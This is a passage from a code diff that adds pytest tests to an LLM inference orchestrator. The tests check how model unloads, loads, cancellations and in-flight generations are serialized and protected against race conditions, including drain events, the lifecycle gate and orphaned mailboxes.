+    # Winning the _gen_lock handoff mid-switch must not start on the outgoing model.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    o._unload_pending = True
+
+    out = list(o._generate_inner(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    # It released (or never held) the lock, so the pending unload can proceed.
+    assert o._gen_lock.acquire(blocking = False)
+    o._gen_lock.release()
+
+
+def test_dispatched_generation_bails_when_unload_pending(monkeypatch):
+    # Compare-mode bypasses _gen_lock, so it must early-out on a pending switch or
+    # it enqueues a generate on the outgoing model and delays the unload.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_start_dispatcher", lambda: pytest.fail("must not start a generation mid-switch")
+    )
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send generate mid-switch")
+    )
+    o._unload_pending = True
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+
+
+def test_audio_input_generation_bails_when_unload_pending(monkeypatch):
+    # The audio path takes _gen_lock but must also skip the outgoing model mid-switch.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send generate mid-switch")
+    )
+    o._unload_pending = True
+
+    out = list(o._generate_audio_input_inner(audio_array = [0.0, 0.1]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    # Lock released so the pending unload can proceed.
+    assert o._gen_lock.acquire(blocking = False)
+    o._gen_lock.release()
+
+
+def test_audio_response_bails_when_unload_pending(monkeypatch):
+    # TTS (generate_audio_response) is blocking, so it RAISES rather than starting on the
+    # outgoing model mid-switch; it takes _gen_lock and must release it either way.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send audio generate mid-switch")
+    )
+    o._unload_pending = True
+
+    with pytest.raises(RuntimeError, match = "unload"):
+        o.generate_audio_response("hello")
+
+    # Lock released so the pending unload can proceed.
+    assert o._gen_lock.acquire(blocking = False)
+    o._gen_lock.release()
+
+
+# ----------------------------------------------------------------------------
+# Preserve unload cancels across the queue handoff (drain_event) — items #1/#4.
+# ----------------------------------------------------------------------------
+
+
+def test_worker_drain_skip_emits_cancelled_gen_done_when_draining():
+    # The worker clears cancel_event at the start of every generate, so a cancel set
+    # while a generate is still queued would be lost when it is dequeued. drain_event
+    # is the durable signal: while it is set the worker skips the generate (emitting an
+    # immediate gen_done so the stream/mailbox drains) instead of running it.
+    import queue as _queue
+
+    from core.inference.worker import _drain_skip_generate
+
+    drain = threading.Event()
+    rq: _queue.Queue = _queue.Queue()
+    cmd = {"type": "generate", "request_id": "r1"}
+
+    # Not draining -> run normally (do not skip, emit nothing).
+    assert _drain_skip_generate(cmd, rq, drain) is False
+    assert rq.empty()
+    # Missing event (older worker) -> also runs normally.
+    assert _drain_skip_generate(cmd, rq, None) is False
+    assert rq.empty()
+
+    # Draining -> skip and emit a cancelled gen_done for this request_id.
+    drain.set()
+    assert _drain_skip_generate(cmd, rq, drain) is True
+    resp = rq.get_nowait()
+    assert resp["type"] == "gen_done"
+    assert resp["request_id"] == "r1"
+    assert resp["cancelled"] is True
+
+
+def test_worker_generate_branches_check_drain_before_clearing_cancel():
+    # Both worker command loops (MLX fast-path + GPU) must consult the drain skip
+    # before clearing cancel_event and running, so a queued generate can't clear an
+    # unload-initiated cancel and run the outgoing model to completion. Each loop
+    # checks the drain twice -- once before the clear and once after -- so a
+    # drain+cancel pair that lands in the window between them is still caught.
+    import inspect
+
+    from core.inference import worker
+
+    src = inspect.getsource(worker.run_inference_process)
+    assert src.count("_drain_skip_generate(cmd, resp_queue, drain_event)") == 4
+
+
+def test_worker_generate_rechecks_drain_after_clearing_cancel():
+    # The exact interleaving item #3 describes: the drain check reads unset, then the
+    # parent sets drain+cancel for an unload, then the worker clears cancel_event
+    # (erasing that cancel). A second drain check *after* the clear catches it and
+    # skips the generate instead of running the outgoing model to completion.
+    import queue as _queue
+
+    from core.inference.worker import _drain_skip_generate
+
+    drain = threading.Event()
+    cancel = threading.Event()
+    rq: _queue.Queue = _queue.Queue()
+    cmd = {"type": "generate", "request_id": "r1"}
+
+    # 1. Pre-clear drain check: not draining yet -> run (no skip, no emit).
+    assert _drain_skip_generate(cmd, rq, drain) is False
+    assert rq.empty()
+
+    # 2. Parent starts an unload: sets drain, then cancel (orchestrator order).
+    drain.set()
+    cancel.set()
+
+    # 3. Worker clears cancel at the start of the generate -- erasing the cancel.
+    cancel.clear()
+    assert not cancel.is_set()
+
+    # 4. Post-clear drain re-check catches the erased cancel and skips.
+    assert _drain_skip_generate(cmd, rq, drain) is True
+    resp = rq.get_nowait()
+    assert resp["type"] == "gen_done" and resp["cancelled"] is True
+
+
+def test_unload_sets_drain_event_during_switch_and_clears_after(monkeypatch):
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_drain_queue", lambda: [])
+    monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"})
+
+    seen = {}
+
+    def record_send(cmd):
+        # drain_event must be set for the whole unload round-trip so any generate the
+        # worker dequeues in this window is skipped, not run.
+        seen["drain_set"] = o._drain_event.is_set()
+
+    monkeypatch.setattr(o, "_send_cmd", record_send)
+
+    assert o.unload_model("m") is True
+    assert seen.get("drain_set") is True
+    # Cleared on exit so a later generation (e.g. unloading a non-active model, or a
+    # reused subprocess) is not wrongly skipped.
+    assert o._drain_event.is_set() is False
+
+
+def test_unload_clears_drain_event_even_on_wedged_teardown(monkeypatch):
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(orch_mod, "_UNLOAD_GEN_LOCK_TIMEOUT", 0.2)
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: pytest.fail("must not send when wedged"))
+
+    # A wedged worker never releases _gen_lock; unload tears the subprocess down. The
+    # real teardown nulls _drain_event, so emulate that so the finally exercises its guard.
+    def fake_shutdown(timeout = 5):
+        o._drain_event = None
+
+    monkeypatch.setattr(o, "_shutdown_subprocess", fake_shutdown)
+    o._gen_lock.acquire()
+
+    assert o.unload_model("m") is True  # must not raise in the drain_event clear
+
+
+# ----------------------------------------------------------------------------
+# Recheck the active model after the lock wait — items #2/#3.
+# ----------------------------------------------------------------------------
+
+
+def test_generation_rechecks_model_after_lock_wait(monkeypatch):
+    # A request passes the pre-lock active-model check, then blocks on _gen_lock while
+    # an unload clears/swaps the model. Even if _unload_pending was already reset (the
+    # unload's finally runs after the lock release), the under-lock active-model recheck
+    # must make it bail instead of sending a generate to the wrong/unloaded backend.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not generate on a swapped/unloaded model")
+    )
+
+    reached_lock = threading.Event()
+    # _wait_dispatcher_idle runs after the pre-lock check and before acquiring the lock;
+    # signalling here means the generator captured the model and is about to block.
+    monkeypatch.setattr(o, "_wait_dispatcher_idle", lambda: (reached_lock.set(), True)[1])
+
+    o.active_model_name = "m"
+    o._unload_pending = False
+    o._gen_lock.acquire()  # stand in for an in-flight unload holding the lock
+
+    out: list = []
+
+    def run():
+        out.extend(o._generate_inner(messages = [{"role": "user", "content": "hi"}]))
+
+    t = threading.Thread(target = run)
+    t.start()
+    assert reached_lock.wait(timeout = 5)
+    # Unload finished: model swapped, pending already cleared. Release the lock.
+    o.active_model_name = "other"
+    o._gen_lock.release()
+    t.join(timeout = 5)
+
+    assert out and any("unloaded" in chunk.lower() for chunk in out)
+
+
+def test_generation_rechecks_model_when_unloaded_to_none(monkeypatch):
+    # Same race, but the unload left no active model (a plain unload, not a switch).
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not generate after the model was unloaded")
+    )
+    reached_lock = threading.Event()
+    monkeypatch.setattr(o, "_wait_dispatcher_idle", lambda: (reached_lock.set(), True)[1])
+
+    o.active_model_name = "m"
+    o._unload_pending = False
+    o._gen_lock.acquire()
+
+    out: list = []
+    t = threading.Thread(
+        target = lambda: out.extend(o._generate_inner(messages = [{"role": "user", "content": "hi"}]))
+    )
+    t.start()
+    assert reached_lock.wait(timeout = 5)
+    o.active_model_name = None
+    o._gen_lock.release()
+    t.join(timeout = 5)
+
+    assert out and any("unloaded" in chunk.lower() for chunk in out)
+
+
+# ----------------------------------------------------------------------------
+# Don't unload a stale model name (worker's active-model fallback) — item #5.
+# ----------------------------------------------------------------------------
+
+
+def test_unload_of_stale_name_does_not_touch_active_model(monkeypatch):
+    # If the named model isn't loaded (e.g. a concurrent load already swapped in a
+    # different one), unload must not send a command the worker would satisfy by
+    # unloading its *active* model.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send an unload for a stale model name")
+    )
+    o.active_model_name = "current"
+    o.models = {"current": {}}
+
+    assert o.unload_model("stale") is True
+    # The active model is left intact.
+    assert o.active_model_name == "current"
+    assert "current" in o.models
+
+
+def test_unload_matches_active_model_case_insensitively(monkeypatch):
+    # active_model_name can differ in case from the raw model_path a client sends
+    # to /unload (the load path canonicalizes casing). The stale-name guard must
+    # match case-insensitively too; otherwise it no-ops the unload and leaves the
+    # model resident while reporting success.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    sent = []
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: sent.append(cmd))
+    monkeypatch.setattr(o, "_wait_response", lambda t, timeout = 300.0: {"type": "unloaded"})
+    monkeypatch.setattr(o, "_drain_queue", lambda: [])
+
+    o.active_model_name = "unsloth/Qwen3-4B"
+    o.models = {"unsloth/Qwen3-4B": {}}
+
+    # Client unloads with the casing it originally typed, before canonicalization.
+    assert o.unload_model("unsloth/qwen3-4b") is True
+    # The guard did not no-op: an unload for the canonical active model reached
+    # the worker (not the raw lowercase name, so the worker matches it directly).
+    assert {"type": "unload", "model_name": "unsloth/Qwen3-4B"} in sent
+    # Local state is cleared for the canonical name, not left stale.
+    assert o.active_model_name is None
+    assert o.models == {}
+
+
+def test_unload_of_stale_name_still_no_ops_after_case_insensitive_match(monkeypatch):
+    # The case-insensitive match must only rescue the active model; a genuinely
+    # different model name (case-insensitively too) must still no-op so the
+    # worker's absent-name fallback can't tear down the active model.
+    o = _bare_orchestrator()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send an unload for a stale model name")
+    )
+    o.active_model_name = "unsloth/Qwen3-4B"
+    o.models = {"unsloth/Qwen3-4B": {}}
+
+    assert o.unload_model("unsloth/Llama-3.1-8B") is True
+    assert o.active_model_name == "unsloth/Qwen3-4B"
+    assert "unsloth/Qwen3-4B" in o.models
+
+
+def test_load_does_not_accumulate_stale_models_defeating_the_unload_guard(monkeypatch):
+    # A load always spawns a fresh subprocess holding only the new model, so
+    # self.models must mirror that instead of accumulating the previous model's name.
+    # Otherwise switching A -> B leaves 'A' in self.models, so a later unload('A')
+    # passes the "not in self.models" guard and the worker's absent-name fallback
+    # unloads the *active* model B.
+    import types
+
+    from utils import transformers_version as _tv
+
+    o = _bare_orchestrator()
+    o.active_model_name = None
+    o.models = {}
+
+    monkeypatch.setattr(_tv, "needs_transformers_5", lambda name: False)
+    monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda *a, **k: ([], {}))
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda *a, **k: None)
+    monkeypatch.setattr(o, "_spawn_subprocess", lambda cfg: None)
+    monkeypatch.setattr(orch_mod.time, "sleep", lambda *_a, **_k: None)
+
+    def _load(name):
+        monkeypatch.setattr(
+            o,
+            "_wait_response",
+            lambda expected, timeout = 300.0: {
+                "type": "loaded",
+                "success": True,
+                "model_info": {"identifier": name, "display_name": name},
+            },
+        )
+        assert o.load_model(types.SimpleNamespace(identifier = name, gguf_variant = None)) is True
+
+    _load("modelA")
+    _load("modelB")  # switch to B without unloading A first
+
+    # self.models mirrors the single live model; the swapped-out name is gone.
+    assert o.active_model_name == "modelB"
+    assert set(o.models) == {"modelB"}
+
+    # A stale unload of the swapped-out model must not reach the worker (whose
+    # absent-name fallback would unload the active model B).
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: pytest.fail("stale unload reached the worker"))
+    assert o.unload_model("modelA") is True
+    assert o.active_model_name == "modelB"
+    assert "modelB" in o.models
+
+
+def test_unload_route_serializes_with_loads_via_lifecycle_gate(monkeypatch):
+    # Item #5: /unload must hold the same lifecycle gate as /load so a concurrent load
+    # can't swap the backend subprocess/queues mid-unload.
+    import asyncio
+
+    import routes.inference as inference_route
+    from core.inference import llama_keepwarm as kw
+    from models.inference import UnloadRequest
+
+    class _Llama:
+        is_active = False
+        is_loaded = False
+        model_identifier = None
+
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: _Llama())
+    monkeypatch.setattr(inference_route, "is_registered_native_path_label", lambda *a: False)
+
+    unloaded: list = []
+
+    class _Backend:
+        active_model_name = "m"
+        models = {"m": {}}
+
+        def unload_model(self, name):
+            unloaded.append(name)
+            return True
+
+    monkeypatch.setattr(inference_route, "get_inference_backend", lambda: _Backend())
+
+    async def scenario():
+        # Hold the real gate, exactly as an in-flight /load would.
+        assert kw._lifecycle_lock.acquire(blocking = False)
+        try:
+            task = asyncio.ensure_future(
+                inference_route.unload_model(UnloadRequest(model_path = "m"), "tester")
+            )
+            # Yield to the loop repeatedly: the route must stay blocked on the gate.
+            for _ in range(10):
+                await asyncio.sleep(0.01)
+            assert unloaded == [], "unload ran while the lifecycle gate was held"
+            assert not task.done()
+        finally:
+            kw._lifecycle_lock.release()
+        resp = await task
+        assert resp.status == "unloaded"
+        assert unloaded == ["m"]
+
+    asyncio.run(scenario())
+
+
+# ----------------------------------------------------------------------------
+# Cancel an in-flight load OFF the lifecycle gate (Stop-loading regression).
+# /load holds the gate for the whole load, so a gated /unload could never
+# interrupt it; cancel_load only tears the loading subprocess down.
+# ----------------------------------------------------------------------------
+
+
+def test_cancel_load_terminates_loading_subprocess_and_sends_no_command(monkeypatch):
+    o = _bare_orchestrator()
+    o.loading_models = {"m"}
+    o.active_model_name = None
+    o.models = {}
+    shutdown = []
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout))
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("cancel_load must not send a worker command")
+    )
+
+    assert o.cancel_load("m") is True
+    assert shutdown, "must tear the loading subprocess down"
+    assert "m" not in o.loading_models
+    assert o.active_model_name is None
+    # A name that is not loading -> no-op, returns False so the caller takes the gate.
+    assert o.cancel_load("other") is False
+
+
+def test_cancel_load_matches_loading_model_case_insensitively(monkeypatch):
+    o = _bare_orchestrator()
+    o.loading_models = {"unsloth/Qwen3-4B"}
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: None)
+
+    assert o.cancel_load("unsloth/qwen3-4b") is True
+    assert o.loading_models == set()
+
+
+def test_unload_model_cancels_a_loading_model_via_cancel_load(monkeypatch):
+    # unload_model still cancels an in-flight load (shared logic with cancel_load).
+    o = _bare_orchestrator()
+    o.loading_models = {"m"}
+    o.active_model_name = None
+    shutdown = []
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout))
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send a command to cancel a load")
+    )
+
+    assert o.unload_model("m") is True
+    assert shutdown
+    assert "m" not in o.loading_models
+
+
+def test_unload_route_cancels_in_flight_load_without_waiting_on_gate(monkeypatch):
+    # The regression: /unload wrapped its whole body in the lifecycle gate, so the
+    # Stop-loading button (cancelLoading -> /unload) could not interrupt a safetensors
+    # load that holds the gate for its full duration. The cancel must run off-gate.
+    import asyncio
+
+    import routes.inference as inference_route
+    from core.inference import llama_keepwarm as kw
+    from models.inference import UnloadRequest
+
+    class _Llama:
+        is_active = False
+        is_loaded = False
+        model_identifier = None
+
+    monkeypatch.setattr(inference_route, "get_llama_cpp_backend", lambda: _Llama())
+    monkeypatch.setattr(inference_route, "is_registered_native_path_label", lambda *a: False)
+
+    cancelled: list = []
+
+    class _Backend:
+        active_model_name = None
+        models: dict = {}
+
+        def get_loading_model(self):
+            return "m"
+
+        def cancel_load(self, name):
+            cancelled.append(name)
+            return True
+
+        def unload_model(self, name):
+            pytest.fail("must not take the gated unload path for a still-loading model")
+
+    monkeypatch.setattr(inference_route, "get_inference_backend", lambda: _Backend())
+
+    async def scenario():
+        # Hold the real gate, exactly as an in-flight /load would.
+        assert kw._lifecycle_lock.acquire(blocking = False)
+        try:
+            # Even with the gate held, the loading-cancel must go through.
+            resp = await inference_route.unload_model(UnloadRequest(model_path = "m"), "tester")
+            assert resp.status == "unloaded"
+            assert cancelled == ["m"]
+        finally:
+            kw._lifecycle_lock.release()
+
+    asyncio.run(scenario())
+
+
+# ----------------------------------------------------------------------------
+# A dispatched (compare-mode) request that races an unload must not orphan its
+# mailbox after _wait_dispatcher_idle stops the dispatcher.
+# ----------------------------------------------------------------------------
+
+
+def test_dispatched_bails_when_unload_flips_before_mailbox_registration(monkeypatch):
+    # The request passes the pre-work _unload_pending check, then an unload sets
+    # _unload_pending and _wait_dispatcher_idle stops the dispatcher (mailboxes empty)
+    # before this request registers its mailbox. The recheck under _mailbox_lock must
+    # make it bail, or the worker's skipped-generate reply has nothing to route it and
+    # the compare stream hangs on an orphaned mailbox.
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_start_dispatcher", lambda: None)
+
+    # Flip the unload flag after the pre-work check (626) but before mailbox
+    # registration -- exactly the window _wait_dispatcher_idle exploits.
+    def flip(*a, **k):
+        o._unload_pending = True
+        return {"type": "generate", "request_id": "r1"}
+
+    monkeypatch.setattr(o, "_build_generate_cmd", flip)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not send generate after the unload flipped")
+    )
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    assert o._mailboxes == {}, "must not leave an orphaned mailbox"
+
+
+# ----------------------------------------------------------------------------
+# Dispatched path: bail when a cleared-pending unload swapped the model or
+# tore the dispatcher down during the pre-registration window -- item #2.
+# ----------------------------------------------------------------------------
+
+
+class _AliveDispatcher:
+    """Stand-in dispatcher thread that reports itself alive."""
+
+    def is_alive(self):
+        return True
+
+
+def test_dispatched_bails_when_model_swapped_before_mailbox_registration(monkeypatch):
+    # The request passes the pre-work checks, then a full unload+reload completes
+    # (clearing _unload_pending) before this request registers its mailbox. The
+    # under-lock recheck must notice active_model_name changed and bail, instead of
+    # sending a generate that lands on the swapped-in model.
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    o._dispatcher_thread = _AliveDispatcher()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_start_dispatcher", lambda: None)
+
+    # Swap the active model after the pre-work check but before registration,
+    # with _unload_pending already back to False (the unload finally ran).
+    def swap(*a, **k):
+        o.active_model_name = "other"
+        return {"type": "generate", "request_id": "r1"}
+
+    monkeypatch.setattr(o, "_build_generate_cmd", swap)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not generate on the swapped-in model")
+    )
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    assert o._mailboxes == {}, "must not leave an orphaned mailbox"
+
+
+def test_dispatched_bails_when_dispatcher_stopped_before_mailbox_registration(monkeypatch):
+    # Same window, but the unload was a same-model reload so active_model_name is
+    # unchanged; the give-away is that the dispatcher was stopped. Registering a
+    # mailbox with no dispatcher to route the reply would hang the compare stream.
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    o._dispatcher_thread = _AliveDispatcher()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_start_dispatcher", lambda: None)
+
+    def stop_dispatcher(*a, **k):
+        o._dispatcher_thread = None  # unload's _stop_dispatcher cleared it
+        return {"type": "generate", "request_id": "r1"}
+
+    monkeypatch.setattr(o, "_build_generate_cmd", stop_dispatcher)
+    monkeypatch.setattr(
+        o, "_send_cmd", lambda cmd: pytest.fail("must not generate with the dispatcher stopped")
+    )
+
+    out = list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert any("unloaded" in chunk.lower() for chunk in out)
+    assert o._mailboxes == {}, "must not leave an orphaned mailbox"
+
+
+def test_dispatched_happy_path_registers_and_sends(monkeypatch):
+    # Guard against a false bail: with the model unchanged and the dispatcher alive,
+    # the recheck must let the generate through (register a mailbox and send).
+    o = _bare_orchestrator()
+    o._mailbox_lock = threading.Lock()
+    o._mailboxes = {}
+    o._unload_pending = False
+    o._dispatcher_thread = _AliveDispatcher()
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_start_dispatcher", lambda: None)
+    monkeypatch.setattr(
+        o, "_build_generate_cmd", lambda *a, **k: {"type": "generate", "request_id": "r1"}
+    )
+    sent = []
+    monkeypatch.setattr(o, "_send_cmd", lambda cmd: sent.append(cmd))
+
+    # Feed one gen_done so the consumer returns promptly.
+    def fake_consume(read_mailbox, drainer, **k):
+        mbox = o._mailboxes.get("r1")
+        if mbox is not None:
+            mbox.put({"type": "gen_done", "request_id": "r1"})
+        yield ""
+
+    monkeypatch.setattr(o, "_consume_token_stream", fake_consume)
+
+    list(o._generate_dispatched(messages = [{"role": "user", "content": "hi"}]))
+
+    assert sent, "happy path must send the generate command"
+    assert o._mailboxes == {}, "mailbox popped in finally"
+
+
+# ----------------------------------------------------------------------------
+# load_model observes a cancel that discarded its loading marker -- item #4.
+# ----------------------------------------------------------------------------
+
+
+def test_load_model_aborts_when_cancelled_before_spawn(monkeypatch):
+    # Stop-loading during GPU placement discards the loading marker (cancel_load) with
+    # no child yet to kill. load_model must observe the removal and not spawn a worker
+    # that loads the model after /unload already reported it unloaded.
+    o = _bare_orchestrator()
+    o.active_model_name = None
+    o.models = {}
+    o.loading_models = set()
+    o._proc = None
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False)
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda *a, **k: None)
+    monkeypatch.setattr(
+        o, "_spawn_subprocess", lambda cfg: pytest.fail("must not spawn a worker after a cancel")
+    )
+
+    import utils.transformers_version as tv
+
+    monkeypatch.setattr(tv, "needs_transformers_5", lambda name: False)
+
+    # cancel_load discards the marker while we resolve GPU placement.
+    def cancel_during_gpu(gpu_ids, **k):
+        o.loading_models.discard("m")
+        return ([0], "sel")
+
+    monkeypatch.setattr(orch_mod, "prepare_gpu_selection", cancel_during_gpu)
+
+    class _Cfg:
+        identifier = "m"
+
+    ok = o.load_model(_Cfg())
+
+    assert ok is False
+    assert o.active_model_name is None
+    assert o.models == {}
+
+
+def test_load_model_aborts_when_old_worker_survives_shutdown(monkeypatch):
+    # A wedged worker that outlives terminate/kill makes _shutdown_subprocess return
+    # False. load_model must not spawn a second worker over it (double GPU allocation +
+    # the survivor's handle is lost); it aborts so the load can retry once it exits.
+    import types
+
+    from utils import transformers_version as tv
+
+    o = _bare_orchestrator()
+    o.active_model_name = "old"
+    o.models = {"old": {}}
+    o.loading_models = set()
+    monkeypatch.setattr(tv, "needs_transformers_5", lambda name: False)
+    monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda *a, **k: ([0], "sel"))
+    monkeypatch.setattr(orch_mod.time, "sleep", lambda *_a, **_k: None)
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: True)
+    monkeypatch.setattr(o, "_cancel_generation", lambda: None)
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda *a, **k: False)  # survivor
+    monkeypatch.setattr(
+        o, "_spawn_subprocess", lambda cfg: pytest.fail("must not spawn over a live survivor")
+    )
+
+    with pytest.raises(RuntimeError, match = "did not exit"):
+        o.load_model(types.SimpleNamespace(identifier = "new", gguf_variant = None))
+    # The except path cleared the loading marker and mirrors.
+    assert "new" not in o.loading_models
+    assert o.active_model_name is None
+
+
+def test_load_model_proceeds_when_not_cancelled(monkeypatch):
+    # Guard against a false abort: an uncancelled load keeps its marker and spawns.
+    o = _bare_orchestrator()
+    o.active_model_name = None
+    o.models = {}
+    o.loading_models = set()
+    o._proc = None
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False)
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda *a, **k: None)
+
+    spawned = []
+    monkeypatch.setattr(o, "_spawn_subprocess", lambda cfg: spawned.append(cfg))
+    monkeypatch.setattr(
+        o,
+        "_wait_response",
+        lambda t, timeout = 300.0: {"success": True, "model_info": {"identifier": "m"}},
+    )
+
+    import utils.transformers_version as tv
+
+    monkeypatch.setattr(tv, "needs_transformers_5", lambda name: False)
+    monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda gpu_ids, **k: ([0], "sel"))
+
+    class _Cfg:
+        identifier = "m"
+
+    ok = o.load_model(_Cfg())
+
+    assert ok is True
+    assert spawned, "uncancelled load must spawn a worker"
+    assert o.active_model_name == "m"
+
+
+def test_load_model_aborts_when_cancelled_during_spawn(monkeypatch):
+    # Stop-loading can land AFTER the pre-spawn marker recheck but while
+    # _spawn_subprocess is still creating the queues/process, so cancel_load's
+    # _shutdown_subprocess finds _proc not yet alive and no-ops. load_model must
+    # recheck the marker once the child exists and tear the orphaned worker down,
+    # instead of waiting for "loaded" and publishing a model /unload already
+    # reported as unloaded (a live subprocess nothing later reaps).
+    import types
+
+    from utils import transformers_version as tv
+
+    o = _bare_orchestrator()
+    o.active_model_name = None
+    o.models = {}
+    o.loading_models = {"m"}
+    o._proc = None
+    monkeypatch.setattr(o, "_ensure_subprocess_alive", lambda: False)
+    monkeypatch.setattr(tv, "needs_transformers_5", lambda name: False)
+    monkeypatch.setattr(orch_mod, "prepare_gpu_selection", lambda gpu_ids, **k: ([0], "sel"))
+
+    # The cancel lands during the spawn window: cancel_load already discarded the
+    # marker, but its teardown no-oped because _proc was not alive yet.
+    def spawn_then_cancel(cfg):
+        o.loading_models.discard("m")
+
+    monkeypatch.setattr(o, "_spawn_subprocess", spawn_then_cancel)
+
+    shutdown = []
+    monkeypatch.setattr(o, "_shutdown_subprocess", lambda timeout = 5: shutdown.append(timeout))
+    monkeypatch.setattr(
+        o,
+        "_wait_response",
+        lambda t, timeout = 300.0: pytest.fail(
+            "must not wait for 'loaded' after a cancel during spawn"
+        ),
+    )
+
+    ok = o.load_model(types.SimpleNamespace(identifier = "m", gguf_variant = None))
+
+    assert ok is False
+    assert shutdown, "must tear the orphaned worker down"
+    assert o.active_model_name is None
+    assert o.models == {}
+    assert "m" not in o.loading_models
+
+
+# ----------------------------------------------------------------------------
+# /unload cancels a still-loading GGUF off the lifecycle gate -- item #1.
+# ----------------------------------------------------------------------------
+
+
+def test_unload_cancels_loading_gguf_off_gate(monkeypatch):
+    # A still-loading GGUF (is_active, not is_loaded) must be cancelled off the gate:
+    # /load holds the lifecycle gate for the whole load, so a gated unload would wait
+    # it out. Assert the gate is never entered and unload_model() runs.
+    import asyncio as _asyncio
+
+    import routes.inference as ri
+    from core.inference import llama_keepwarm
+
+    gate_entered = {"v": False}
+
+    class _Gate:
+        async def __aenter__(self):
+            gate_entered["v"] = True
+            return self
+
+        async def __aexit__(self, *a):
+            return False
+
+    class _LlamaBackend:
+        is_active = True
+        is_loaded = False
+        model_identifier = "gguf-model"
+
+        def __init__(self):
+            self.unloaded = False
+
+        def unload_model(self):
+            self.unloaded = True
+
+    llama = _LlamaBackend()
+
+    class _Unsloth:
+        def get_loading_model(self):
+            return None  # no Unsloth load in flight -> Unsloth fast path skipped
+
+    monkeypatch.setattr(ri, "get_llama_cpp_backend", lambda: llama)
+    monkeypatch.setattr(ri, "get_inference_backend", lambda: _Unsloth())
+    monkeypatch.setattr(llama_keepwarm, "inference_lifecycle_gate", lambda: _Gate())
+    monkeypatch.setattr(llama_keepwarm, "note_model_unloaded", lambda: None)
+
+    req = ri.UnloadRequest(model_path = "gguf-model")
+    resp = _asyncio.run(ri.unload_model(req, current_subject = "s"))
+
+    assert getattr(resp, "status", None) == "unloaded"
+    assert llama.unloaded is True, "must cancel the loading GGUF via unload_model()"
+    assert gate_entered["v"] is False, "must handle the loading GGUF off the lifecycle gate"
+
+
+def test_unload_loaded_gguf_still_uses_gate(monkeypatch):
+    # Guard: an already-loaded GGUF (is_loaded True) is NOT caught by the off-gate
+    # fast path; it goes through the gate as before.
+    import asyncio as _asyncio
+
